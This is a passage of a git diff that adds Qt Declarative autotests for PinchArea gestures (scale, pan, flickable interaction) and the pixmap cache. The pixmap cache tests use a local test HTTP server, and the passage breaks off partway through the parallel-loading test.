+ if (e.evaluate().toInt() == index)
+ return static_cast<T*>(item);
+ } else {
+ return static_cast<T*>(item);
+ }
+ }
+ item = findItem<T>(item, objectName, index);
+ if (item)
+ return static_cast<T*>(item);
+ }
+
+ return 0;
+}
+
+template<typename T>
+QList<T*> tst_QDeclarativePathView::findItems(QGraphicsObject *parent, const QString &objectName)
+{
+ QList<T*> items;
+ const QMetaObject &mo = T::staticMetaObject;
+ //qDebug() << parent->QGraphicsObject::children().count() << "children";
+ for (int i = 0; i < parent->childItems().count(); ++i) {
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(parent->childItems().at(i));
+ if(!item)
+ continue;
+ //qDebug() << "try" << item;
+ if (mo.cast(item) && (objectName.isEmpty() || item->objectName() == objectName))
+ items.append(static_cast<T*>(item));
+ items += findItems<T>(item, objectName);
+ }
+
+ return items;
+}
+
+QTEST_MAIN(tst_QDeclarativePathView)
+
+#include "tst_qdeclarativepathview.moc"
diff --git a/tests/auto/declarative/qdeclarativepincharea/data/flickresize.qml b/tests/auto/declarative/qdeclarativepincharea/data/flickresize.qml
new file mode 100644
index 00000000..2da58fce
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepincharea/data/flickresize.qml
@@ -0,0 +1,50 @@
+import QtQuick 1.1
+
+Flickable {
+ id: flick
+ property real scale: 1.0
+ width: 640
+ height: 360
+ contentWidth: 500
+ contentHeight: 500
+
+ PinchArea {
+ objectName: "pincharea"
+ width: Math.max(flick.contentWidth, flick.width)
+ height: Math.max(flick.contentHeight, flick.height)
+
+ property real initialWidth
+ property real initialHeight
+ onPinchStarted: {
+ initialWidth = flick.contentWidth
+ initialHeight = flick.contentHeight
+ }
+
+ onPinchUpdated: {
+ // adjust content pos due to drag
+ flick.contentX += pinch.previousCenter.x - pinch.center.x
+ flick.contentY += pinch.previousCenter.y - pinch.center.y
+
+ // resize content
+ flick.resizeContent(initialWidth * pinch.scale, initialHeight * pinch.scale, pinch.center)
+ flick.scale = pinch.scale
+ }
+
+ onPinchFinished: {
+ // Move its content within bounds.
+ flick.returnToBounds()
+ }
+
+ Rectangle {
+ width: flick.contentWidth
+ height: flick.contentHeight
+ color: "white"
+ Rectangle {
+ anchors.centerIn: parent
+ width: parent.width-40
+ height: parent.height-40
+ color: "blue"
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepincharea/data/pinchproperties.qml b/tests/auto/declarative/qdeclarativepincharea/data/pinchproperties.qml
new file mode 100644
index 00000000..0b59d9dc
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepincharea/data/pinchproperties.qml
@@ -0,0 +1,46 @@
+import QtQuick 1.1
+Rectangle {
+ id: whiteRect
+ property variant center
+ property real scale
+ width: 240; height: 320
+ color: "white"
+ Rectangle {
+ id: blackRect
+ objectName: "blackrect"
+ color: "black"
+ y: 50
+ x: 50
+ width: 100
+ height: 100
+ opacity: (whiteRect.width-blackRect.x+whiteRect.height-blackRect.y-199)/200
+ Text { text: blackRect.opacity}
+ PinchArea {
+ id: pincharea
+ objectName: "pincharea"
+ anchors.fill: parent
+ pinch.target: blackRect
+ pinch.dragAxis: Drag.XandYAxis
+ pinch.minimumX: 0
+ pinch.maximumX: whiteRect.width-blackRect.width
+ pinch.minimumY: 0
+ pinch.maximumY: whiteRect.height-blackRect.height
+ pinch.minimumScale: 1.0
+ pinch.maximumScale: 2.0
+ pinch.minimumRotation: 0.0
+ pinch.maximumRotation: 90.0
+ onPinchStarted: {
+ whiteRect.center = pinch.center
+ whiteRect.scale = pinch.scale
+ }
+ onPinchUpdated: {
+ whiteRect.center = pinch.center
+ whiteRect.scale = pinch.scale
+ }
+ onPinchFinished: {
+ whiteRect.center = pinch.center
+ whiteRect.scale = pinch.scale
+ }
+ }
+ }
+ }
diff --git a/tests/auto/declarative/qdeclarativepincharea/qdeclarativepincharea.pro b/tests/auto/declarative/qdeclarativepincharea/qdeclarativepincharea.pro
new file mode 100644
index 00000000..3bdb3fcc
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepincharea/qdeclarativepincharea.pro
@@ -0,0 +1,16 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative gui
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativepincharea.cpp
+
+symbian: {
+ importFiles.sources = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp b/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp
new file mode 100644
index 00000000..4f63240d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp
@@ -0,0 +1,388 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtTest/QtTest>
+#include <QtTest/QSignalSpy>
+#include <private/qdeclarativepincharea_p.h>
+#include <private/qdeclarativerectangle_p.h>
+#include <private/qdeclarativeflickable_p.h>
+#include <QtDeclarative/qdeclarativeview.h>
+#include <QtDeclarative/qdeclarativecontext.h>
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_QDeclarativePinchArea: public QObject
+{
+ Q_OBJECT
+private slots:
+ void pinchProperties();
+ void scale();
+ void pan();
+ void flickable();
+
+private:
+ QDeclarativeView *createView();
+};
+
+void tst_QDeclarativePinchArea::pinchProperties()
+{
+ QDeclarativeView *canvas = createView();
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pinchproperties.qml"));
+ canvas->show();
+ canvas->setFocus();
+ QVERIFY(canvas->rootObject() != 0);
+
+ QDeclarativePinchArea *pinchArea = canvas->rootObject()->findChild<QDeclarativePinchArea*>("pincharea");
+ QDeclarativePinch *pinch = pinchArea->pinch();
+ QVERIFY(pinchArea != 0);
+ QVERIFY(pinch != 0);
+
+ // target
+ QDeclarativeItem *blackRect = canvas->rootObject()->findChild<QDeclarativeItem*>("blackrect");
+ QVERIFY(blackRect != 0);
+ QVERIFY(blackRect == pinch->target());
+ QDeclarativeItem *rootItem = qobject_cast<QDeclarativeItem*>(canvas->rootObject());
+ QVERIFY(rootItem != 0);
+ QSignalSpy targetSpy(pinch, SIGNAL(targetChanged()));
+ pinch->setTarget(rootItem);
+ QCOMPARE(targetSpy.count(),1);
+ pinch->setTarget(rootItem);
+ QCOMPARE(targetSpy.count(),1);
+
+ // axis
+ QCOMPARE(pinch->axis(), QDeclarativePinch::XandYAxis);
+ QSignalSpy axisSpy(pinch, SIGNAL(dragAxisChanged()));
+ pinch->setAxis(QDeclarativePinch::XAxis);
+ QCOMPARE(pinch->axis(), QDeclarativePinch::XAxis);
+ QCOMPARE(axisSpy.count(),1);
+ pinch->setAxis(QDeclarativePinch::XAxis);
+ QCOMPARE(axisSpy.count(),1);
+
+ // minimum and maximum drag properties
+ QSignalSpy xminSpy(pinch, SIGNAL(minimumXChanged()));
+ QSignalSpy xmaxSpy(pinch, SIGNAL(maximumXChanged()));
+ QSignalSpy yminSpy(pinch, SIGNAL(minimumYChanged()));
+ QSignalSpy ymaxSpy(pinch, SIGNAL(maximumYChanged()));
+
+ QCOMPARE(pinch->xmin(), 0.0);
+ QCOMPARE(pinch->xmax(), rootItem->width()-blackRect->width());
+ QCOMPARE(pinch->ymin(), 0.0);
+ QCOMPARE(pinch->ymax(), rootItem->height()-blackRect->height());
+
+ pinch->setXmin(10);
+ pinch->setXmax(10);
+ pinch->setYmin(10);
+ pinch->setYmax(10);
+
+ QCOMPARE(pinch->xmin(), 10.0);
+ QCOMPARE(pinch->xmax(), 10.0);
+ QCOMPARE(pinch->ymin(), 10.0);
+ QCOMPARE(pinch->ymax(), 10.0);
+
+ QCOMPARE(xminSpy.count(),1);
+ QCOMPARE(xmaxSpy.count(),1);
+ QCOMPARE(yminSpy.count(),1);
+ QCOMPARE(ymaxSpy.count(),1);
+
+ pinch->setXmin(10);
+ pinch->setXmax(10);
+ pinch->setYmin(10);
+ pinch->setYmax(10);
+
+ QCOMPARE(xminSpy.count(),1);
+ QCOMPARE(xmaxSpy.count(),1);
+ QCOMPARE(yminSpy.count(),1);
+ QCOMPARE(ymaxSpy.count(),1);
+
+ // minimum and maximum scale properties
+ QSignalSpy scaleMinSpy(pinch, SIGNAL(minimumScaleChanged()));
+ QSignalSpy scaleMaxSpy(pinch, SIGNAL(maximumScaleChanged()));
+
+ QCOMPARE(pinch->minimumScale(), 1.0);
+ QCOMPARE(pinch->maximumScale(), 2.0);
+
+ pinch->setMinimumScale(0.5);
+ pinch->setMaximumScale(1.5);
+
+ QCOMPARE(pinch->minimumScale(), 0.5);
+ QCOMPARE(pinch->maximumScale(), 1.5);
+
+ QCOMPARE(scaleMinSpy.count(),1);
+ QCOMPARE(scaleMaxSpy.count(),1);
+
+ pinch->setMinimumScale(0.5);
+ pinch->setMaximumScale(1.5);
+
+ QCOMPARE(scaleMinSpy.count(),1);
+ QCOMPARE(scaleMaxSpy.count(),1);
+
+ // minimum and maximum rotation properties
+ QSignalSpy rotMinSpy(pinch, SIGNAL(minimumRotationChanged()));
+ QSignalSpy rotMaxSpy(pinch, SIGNAL(maximumRotationChanged()));
+
+ QCOMPARE(pinch->minimumRotation(), 0.0);
+ QCOMPARE(pinch->maximumRotation(), 90.0);
+
+ pinch->setMinimumRotation(-90.0);
+ pinch->setMaximumRotation(45.0);
+
+ QCOMPARE(pinch->minimumRotation(), -90.0);
+ QCOMPARE(pinch->maximumRotation(), 45.0);
+
+ QCOMPARE(rotMinSpy.count(),1);
+ QCOMPARE(rotMaxSpy.count(),1);
+
+ pinch->setMinimumRotation(-90.0);
+ pinch->setMaximumRotation(45.0);
+
+ QCOMPARE(rotMinSpy.count(),1);
+ QCOMPARE(rotMaxSpy.count(),1);
+
+ delete canvas;
+}
+
+QTouchEvent::TouchPoint makeTouchPoint(int id, QPoint p, QGraphicsView *v, QGraphicsItem *i)
+{
+ QTouchEvent::TouchPoint touchPoint(id);
+ touchPoint.setPos(i->mapFromScene(p));
+ touchPoint.setScreenPos(v->mapToGlobal(p));
+ touchPoint.setScenePos(p);
+ return touchPoint;
+}
+
+void tst_QDeclarativePinchArea::scale()
+{
+ QDeclarativeView *canvas = createView();
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pinchproperties.qml"));
+ canvas->show();
+ canvas->setFocus();
+ QTest::qWaitForWindowShown(canvas);
+ QVERIFY(canvas->rootObject() != 0);
+ qApp->processEvents();
+
+ QDeclarativePinchArea *pinchArea = canvas->rootObject()->findChild<QDeclarativePinchArea*>("pincharea");
+ QDeclarativePinch *pinch = pinchArea->pinch();
+ QVERIFY(pinchArea != 0);
+ QVERIFY(pinch != 0);
+
+ QDeclarativeItem *root = qobject_cast<QDeclarativeItem*>(canvas->rootObject());
+ QVERIFY(root != 0);
+
+ // target
+ QDeclarativeItem *blackRect = canvas->rootObject()->findChild<QDeclarativeItem*>("blackrect");
+ QVERIFY(blackRect != 0);
+
+ QWidget *vp = canvas->viewport();
+
+ QPoint p1(80, 80);
+ QPoint p2(100, 100);
+
+ QTest::touchEvent(vp).press(0, p1);
+ QTest::touchEvent(vp).stationary(0).press(1, p2);
+ p1 -= QPoint(10,10);
+ p2 += QPoint(10,10);
+ QTest::touchEvent(vp).move(0, p1).move(1, p2);
+
+ QCOMPARE(root->property("scale").toReal(), 1.0);
+
+ p1 -= QPoint(10,10);
+ p2 += QPoint(10,10);
+ QTest::touchEvent(vp).move(0, p1).move(1, p2);
+
+ QCOMPARE(root->property("scale").toReal(), 1.5);
+ QCOMPARE(root->property("center").toPointF(), QPointF(40, 40)); // blackrect is at 50,50
+ QCOMPARE(blackRect->scale(), 1.5);
+
+ // scale beyond bound
+ p1 -= QPoint(50,50);
+ p2 += QPoint(50,50);
+ QTest::touchEvent(vp).move(0, p1).move(1, p2);
+
+ QCOMPARE(blackRect->scale(), 2.0);
+
+ QTest::touchEvent(vp).release(0, p1).release(1, p2);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePinchArea::pan()
+{
+ QDeclarativeView *canvas = createView();
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pinchproperties.qml"));
+ canvas->show();
+ canvas->setFocus();
+ QTest::qWaitForWindowShown(canvas);
+ QVERIFY(canvas->rootObject() != 0);
+ qApp->processEvents();
+
+ QDeclarativePinchArea *pinchArea = canvas->rootObject()->findChild<QDeclarativePinchArea*>("pincharea");
+ QDeclarativePinch *pinch = pinchArea->pinch();
+ QVERIFY(pinchArea != 0);
+ QVERIFY(pinch != 0);
+
+ QDeclarativeItem *root = qobject_cast<QDeclarativeItem*>(canvas->rootObject());
+ QVERIFY(root != 0);
+
+ // target
+ QDeclarativeItem *blackRect = canvas->rootObject()->findChild<QDeclarativeItem*>("blackrect");
+ QVERIFY(blackRect != 0);
+
+ QWidget *vp = canvas->viewport();
+
+ QPoint p1(80, 80);
+ QPoint p2(100, 100);
+
+ QTest::touchEvent(vp).press(0, p1);
+ QTest::touchEvent(vp).stationary(0).press(1, p2);
+ p1 += QPoint(10,10);
+ p2 += QPoint(10,10);
+ QTest::touchEvent(vp).move(0, p1).move(1, p2);
+
+ QCOMPARE(root->property("scale").toReal(), 1.0);
+
+ p1 += QPoint(10,10);
+ p2 += QPoint(10,10);
+ QTest::touchEvent(vp).move(0, p1).move(1, p2);
+
+ QCOMPARE(root->property("center").toPointF(), QPointF(60, 60)); // blackrect is at 50,50
+
+ QCOMPARE(blackRect->x(), 60.0);
+ QCOMPARE(blackRect->y(), 60.0);
+
+ // pan x beyond bound
+ p1 += QPoint(100,100);
+ p2 += QPoint(100,100);
+ QTest::touchEvent(vp).move(0, p1).move(1, p2);
+
+ QCOMPARE(blackRect->x(), 140.0);
+ QCOMPARE(blackRect->y(), 160.0);
+
+ QTest::touchEvent(vp).release(0, p1).release(1, p2);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePinchArea::flickable()
+{
+ QDeclarativeView *canvas = createView();
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/flickresize.qml"));
+ canvas->show();
+ canvas->setFocus();
+ QTest::qWaitForWindowShown(canvas);
+ QVERIFY(canvas->rootObject() != 0);
+ qApp->processEvents();
+
+ QDeclarativePinchArea *pinchArea = canvas->rootObject()->findChild<QDeclarativePinchArea*>("pincharea");
+ QDeclarativePinch *pinch = pinchArea->pinch();
+ QVERIFY(pinchArea != 0);
+ QVERIFY(pinch != 0);
+
+ QDeclarativeFlickable *root = qobject_cast<QDeclarativeFlickable*>(canvas->rootObject());
+ QVERIFY(root != 0);
+
+ QWidget *vp = canvas->viewport();
+
+ QPoint p1(110, 80);
+ QPoint p2(100, 100);
+
+ // begin by moving one touch point (mouse)
+ QTest::mousePress(vp, Qt::LeftButton, 0, canvas->mapFromScene(p1));
+ QTest::touchEvent(vp).press(0, p1);
+ {
+ p1 -= QPoint(10,10);
+ QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(p1), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(canvas->viewport(), &mv);
+ QTest::touchEvent(vp).move(0, p1);
+ }
+ {
+ p1 -= QPoint(10,10);
+ QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(p1), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(vp, &mv);
+ QTest::touchEvent(vp).move(0, p1);
+ }
+ {
+ p1 -= QPoint(10,10);
+ QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(p1), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(vp, &mv);
+ QTest::touchEvent(vp).move(0, p1);
+ }
+
+ // Flickable has reacted to the gesture
+ QVERIFY(root->isMoving());
+ QVERIFY(root->property("scale").toReal() == 1.0);
+
+ // add another touch point and continue moving
+ QTest::touchEvent(vp).stationary(0).press(1, p2);
+ p1 -= QPoint(10,10);
+ p2 += QPoint(10,10);
+ QTest::touchEvent(vp).move(0, p1).move(1, p2);
+
+ QCOMPARE(root->property("scale").toReal(), 1.0);
+
+ p1 -= QPoint(10,10);
+ p2 += QPoint(10,10);
+ QTest::touchEvent(vp).move(0, p1).move(1, p2);
+
+ // PinchArea has stolen the gesture.
+ QVERIFY(!root->isMoving());
+ QVERIFY(root->property("scale").toReal() > 1.0);
+
+ QTest::mouseRelease(vp, Qt::LeftButton, 0, canvas->mapFromScene(p1));
+ QTest::touchEvent(vp).release(0, p1).release(1, p2);
+
+ delete canvas;
+}
+
+QDeclarativeView *tst_QDeclarativePinchArea::createView()
+{
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+ canvas->viewport()->setAttribute(Qt::WA_AcceptTouchEvents);
+ canvas->setFixedSize(240,320);
+
+ return canvas;
+}
+
+QTEST_MAIN(tst_QDeclarativePinchArea)
+
+#include "tst_qdeclarativepincharea.moc"
diff --git a/tests/auto/declarative/qdeclarativepixmapcache/data/exists.png b/tests/auto/declarative/qdeclarativepixmapcache/data/exists.png
new file mode 100644
index 00000000..399bd0b1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepixmapcache/data/exists.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativepixmapcache/data/exists1.png b/tests/auto/declarative/qdeclarativepixmapcache/data/exists1.png
new file mode 100644
index 00000000..399bd0b1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepixmapcache/data/exists1.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativepixmapcache/data/exists2.png b/tests/auto/declarative/qdeclarativepixmapcache/data/exists2.png
new file mode 100644
index 00000000..399bd0b1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepixmapcache/data/exists2.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativepixmapcache/data/http/exists.png b/tests/auto/declarative/qdeclarativepixmapcache/data/http/exists.png
new file mode 100644
index 00000000..399bd0b1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepixmapcache/data/http/exists.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativepixmapcache/data/http/exists1.png b/tests/auto/declarative/qdeclarativepixmapcache/data/http/exists1.png
new file mode 100644
index 00000000..399bd0b1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepixmapcache/data/http/exists1.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativepixmapcache/data/http/exists2.png b/tests/auto/declarative/qdeclarativepixmapcache/data/http/exists2.png
new file mode 100644
index 00000000..399bd0b1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepixmapcache/data/http/exists2.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativepixmapcache/data/http/exists3.png b/tests/auto/declarative/qdeclarativepixmapcache/data/http/exists3.png
new file mode 100644
index 00000000..399bd0b1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepixmapcache/data/http/exists3.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativepixmapcache/data/http/exists4.png b/tests/auto/declarative/qdeclarativepixmapcache/data/http/exists4.png
new file mode 100644
index 00000000..399bd0b1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepixmapcache/data/http/exists4.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativepixmapcache/data/http/exists5.png b/tests/auto/declarative/qdeclarativepixmapcache/data/http/exists5.png
new file mode 100644
index 00000000..399bd0b1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepixmapcache/data/http/exists5.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativepixmapcache/data/massive.png b/tests/auto/declarative/qdeclarativepixmapcache/data/massive.png
new file mode 100644
index 00000000..bc6cc9e6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepixmapcache/data/massive.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativepixmapcache/qdeclarativepixmapcache.pro b/tests/auto/declarative/qdeclarativepixmapcache/qdeclarativepixmapcache.pro
new file mode 100644
index 00000000..88871e95
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepixmapcache/qdeclarativepixmapcache.pro
@@ -0,0 +1,24 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+QT += network
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativepixmapcache.cpp
+
+INCLUDEPATH += ../shared/
+HEADERS += ../shared/testhttpserver.h
+SOURCES += ../shared/testhttpserver.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+# QMAKE_CXXFLAGS = -fprofile-arcs -ftest-coverage
+# LIBS += -lgcov
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativepixmapcache/tst_qdeclarativepixmapcache.cpp b/tests/auto/declarative/qdeclarativepixmapcache/tst_qdeclarativepixmapcache.cpp
new file mode 100644
index 00000000..6609485f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepixmapcache/tst_qdeclarativepixmapcache.cpp
@@ -0,0 +1,396 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QtTest/QtTest>
+#include <private/qdeclarativepixmapcache_p.h>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativeimageprovider.h>
+#include <QNetworkReply>
+#include "testhttpserver.h"
+#include "../../../shared/util.h"
+
+#ifndef QT_NO_CONCURRENT
+#include <qtconcurrentrun.h>
+#include <qfuture.h>
+#endif
+
+// These don't let normal people run tests!
+//#include "../network-settings.h"
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_qdeclarativepixmapcache : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativepixmapcache() :
+ thisfile(QUrl::fromLocalFile(__FILE__)),
+ server(14452)
+ {
+ server.serveDirectory(SRCDIR "/data/http");
+ }
+
+private slots:
+ void single();
+ void single_data();
+ void parallel();
+ void parallel_data();
+ void massive();
+ void cancelcrash();
+ void shrinkcache();
+#ifndef QT_NO_CONCURRENT
+ void networkCrash();
+#endif
+private:
+ QDeclarativeEngine engine;
+ QUrl thisfile;
+ TestHTTPServer server;
+};
+
+
+static int slotters=0;
+
+class Slotter : public QObject
+{
+ Q_OBJECT
+public:
+ Slotter()
+ {
+ gotslot = false;
+ slotters++;
+ }
+ bool gotslot;
+
+public slots:
+ void got()
+ {
+ gotslot = true;
+ --slotters;
+ if (slotters==0)
+ QTestEventLoop::instance().exitLoop();
+ }
+};
+
+#ifndef QT_NO_LOCALFILE_OPTIMIZED_QML
+static const bool localfile_optimized = true;
+#else
+static const bool localfile_optimized = false;
+#endif
+
+void tst_qdeclarativepixmapcache::single_data()
+{
+ // Note, since QDeclarativePixmapCache is shared, tests affect each other!
+ // so use different files fore all test functions.
+
+ QTest::addColumn<QUrl>("target");
+ QTest::addColumn<bool>("incache");
+ QTest::addColumn<bool>("exists");
+ QTest::addColumn<bool>("neterror");
+
+ // File URLs are optimized
+ QTest::newRow("local") << thisfile.resolved(QUrl("data/exists.png")) << localfile_optimized << true << false;
+ QTest::newRow("local") << thisfile.resolved(QUrl("data/notexists.png")) << localfile_optimized << false << false;
+ QTest::newRow("remote") << QUrl("http://127.0.0.1:14452/exists.png") << false << true << false;
+ QTest::newRow("remote") << QUrl("http://127.0.0.1:14452/notexists.png") << false << false << true;
+}
+
+void tst_qdeclarativepixmapcache::single()
+{
+ QFETCH(QUrl, target);
+ QFETCH(bool, incache);
+ QFETCH(bool, exists);
+ QFETCH(bool, neterror);
+
+ QString expectedError;
+ if (neterror) {
+ expectedError = "Error downloading " + target.toString() + " - server replied: Not found";
+ } else if (!exists) {
+ expectedError = "Cannot open: " + target.toString();
+ }
+
+ QDeclarativePixmap pixmap;
+ QVERIFY(pixmap.width() <= 0); // Check Qt assumption
+
+ pixmap.load(&engine, target);
+
+ if (incache) {
+ QCOMPARE(pixmap.error(), expectedError);
+ if (exists) {
+ QVERIFY(pixmap.status() == QDeclarativePixmap::Ready);
+ QVERIFY(pixmap.width() > 0);
+ } else {
+ QVERIFY(pixmap.status() == QDeclarativePixmap::Error);
+ QVERIFY(pixmap.width() <= 0);
+ }
+ } else {
+ QVERIFY(pixmap.width() <= 0);
+
+ Slotter getter;
+ pixmap.connectFinished(&getter, SLOT(got()));
+ QTestEventLoop::instance().enterLoop(10);
+ QVERIFY(!QTestEventLoop::instance().timeout());
+ QVERIFY(getter.gotslot);
+ if (exists) {
+ QVERIFY(pixmap.status() == QDeclarativePixmap::Ready);
+ QVERIFY(pixmap.width() > 0);
+ } else {
+ QVERIFY(pixmap.status() == QDeclarativePixmap::Error);
+ QVERIFY(pixmap.width() <= 0);
+ }
+ QCOMPARE(pixmap.error(), expectedError);
+ }
+}
+
+void tst_qdeclarativepixmapcache::parallel_data()
+{
+ // Note, since QDeclarativePixmapCache is shared, tests affect each other!
+ // so use different files fore all test functions.
+
+ QTest::addColumn<QUrl>("target1");
+ QTest::addColumn<QUrl>("target2");
+ QTest::addColumn<int>("incache");
+ QTest::addColumn<int>("cancel"); // which one to cancel
+
+ QTest::newRow("local")
+ << thisfile.resolved(QUrl("data/exists1.png"))
+ << thisfile.resolved(QUrl("data/exists2.png"))
+ << (localfile_optimized ? 2 : 0)
+ << -1;
+
+ QTest::newRow("remote")
+ << QUrl("http://127.0.0.1:14452/exists2.png")
+ << QUrl("http://127.0.0.1:14452/exists3.png")
+ << 0
+ << -1;
+
+ QTest::newRow("remoteagain")
+ << QUrl("http://127.0.0.1:14452/exists2.png")
+ << QUrl("http://127.0.0.1:14452/exists3.png")
+ << 2
+ << -1;
+
+ QTest::newRow("remotecopy")
+ << QUrl("http://127.0.0.1:14452/exists4.png")
+ << QUrl("http://127.0.0.1:14452/exists4.png")
+ << 0
+ << -1;
+
+ QTest::newRow("remotecopycancel")
+ << QUrl("http://127.0.0.1:14452/exists5.png")
+ << QUrl("http://127.0.0.1:14452/exists5.png")
+ << 0
+ << 0;
+}
+
+void tst_qdeclarativepixmapcache::parallel()
+{
+ QFETCH(QUrl, target1);
+ QFETCH(QUrl, target2);
+ QFETCH(int, incache);
+ QFETCH(int, cancel);
+
+ QList<QUrl> targets;
+ targets << target1 << target2;
+
+ QList<QDeclarativePixmap *> pixmaps;
+ QList<bool> pending;
+ QList<Slotter*> getters;
+
+ for (int i=0; i<targets.count(); ++i) {
+ QUrl target = targets.at(i);
+ QDeclarativePixmap *pixmap = new QDeclarativePixmap;
+
+ pixmap->load(&engine, target);
+
+ QVERIFY(pixmap->status() != QDeclarativePixmap::Error);
+ pixmaps.append(pixmap);
+ if (pixmap->isReady()) {
+ QVERIFY(pixmap->width() > 0);
+ getters.append(0);
+ pending.append(false);
+ } else {
+ QVERIFY(pixmap->width() <= 0);
+ getters.append(new Slotter);
+ pixmap->connectFinished(getters[i], SLOT(got()));
+ pending.append(true);
+ }
+ }
+
+ QCOMPARE(incache+slotters, targets.count());
+
+ if (cancel >= 0) {
+ pixmaps.at(cancel)->clear(getters[cancel]);
+ slotters--;
+ }
+
+ if (slotters) {
